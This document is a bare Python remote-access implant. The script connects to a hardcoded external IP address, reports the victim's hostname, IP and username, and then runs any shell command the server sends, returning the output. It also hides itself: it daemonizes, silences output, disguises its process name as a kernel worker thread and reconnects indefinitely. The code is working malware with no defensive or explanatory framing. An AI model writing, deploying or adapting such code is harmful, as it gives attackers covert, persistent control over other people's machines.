import socket, subprocess, json, struct, sys, time, os, select, ctypes, getpass HOST = '206.71.149.68' PORT = 8080 TAG = "sv1" FG = False MAX_MSG = 32 * 1024 * 1024 HB_EVERY = 25 def rmsg(c): hdr = b"" while len(hdr) < 4: b = c.recv(4 - len(hdr)) if not b: raise ConnectionError("closed") hdr += b (n,) = struct.unpack(">I", hdr) if n > MAX_MSG: raise ValueError("oversized") data = b"" while len(data) < n: b = c.recv(min(65536, n - len(data))) if not b: raise ConnectionError("closed") data += b return json.loads(data.decode("utf-8", "replace")) def wmsg(c, o): d = json.dumps(o).encode() c.sendall(struct.pack(">I", len(d)) + d) def blend(): try: ctypes.CDLL(None).prctl(15, b"kworker/u4:2-events", 0, 0, 0) except Exception: pass def run(cmd, timeout): try: p = subprocess.run(cmd, shell=True, capture_output=True, timeout=timeout, executable="/bin/sh") return {"rc": p.returncode, "out": p.stdout.decode("utf-8", "replace"), "err": p.stderr.decode("utf-8", "replace")} except subprocess.TimeoutExpired as e: out = e.stdout or b"" if isinstance(out, str): out = out.encode() return {"rc": -1, "out": out.decode("utf-8", "replace"), "err": "TIMEOUT"} except Exception as e: return {"rc": -2, "out": "", "err": repr(e)} def session(): c = socket.create_connection((HOST, PORT), timeout=20) c.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) # TCP keepalive: detect half-open / blackholed connections in ~60s # (idle 30s, probe every 10s, dead after 3 missed probes) so a silently # dead connection (NAT drop, server host crash, network blackhole) is # noticed and re-established instead of hanging forever. c.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) for opt, val in (("TCP_KEEPIDLE", 30), ("TCP_KEEPINTVL", 10), ("TCP_KEEPCNT", 3)): try: c.setsockopt(socket.IPPROTO_TCP, getattr(socket, opt), val) except (AttributeError, OSError): pass c.settimeout(None) hn = socket.gethostname() try: ip = socket.gethostbyname(hn) except Exception: ip = "" try: user = getpass.getuser() except Exception: user = str(os.getuid()) wmsg(c, {"t": "register", "id": "%s-%s-%s" % (hn, ip, TAG), "hostname": hn, "ip": ip, "user": user, "pid": os.getpid()}) last_hb = time.time() last_rx = time.time() while True: # liveness: server acks every hb; >90s of inbound silence means the # connection is silently dead (blackhole/NAT drop) -> reconnect if time.time() - last_rx > 90: try: c.close() except OSError: pass raise ConnectionError("liveness timeout") r, _, _ = select.select([c], [], [], HB_EVERY) if r: m = rmsg(c) last_rx = time.time() if m.get("t") == "exec": res = run(m.get("command", ""), int(m.get("timeout", 300))) res["t"] = "output" res["cmd_id"] = m.get("cmd_id") wmsg(c, res) elif m.get("t") == "bye": # server replaced us with a newer same-id connection: # exit so duplicate runs don't fight over the id c.close() os._exit(0) now = time.time() if now - last_hb >= HB_EVERY: wmsg(c, {"t": "hb"}) last_hb = now def main(): if not FG: # daemonize: double-fork, detach, silence stdio if os.fork() > 0: os._exit(0) os.setsid() if os.fork() > 0: os._exit(0) dn = os.open("/dev/null", os.O_RDWR) for fd in (0, 1, 2): os.dup2(dn, fd) blend() delay = 5 while True: try: if session(): delay = 5 continue except KeyboardInterrupt: return except Exception: pass time.sleep(delay) delay = min(delay * 2, 120) main()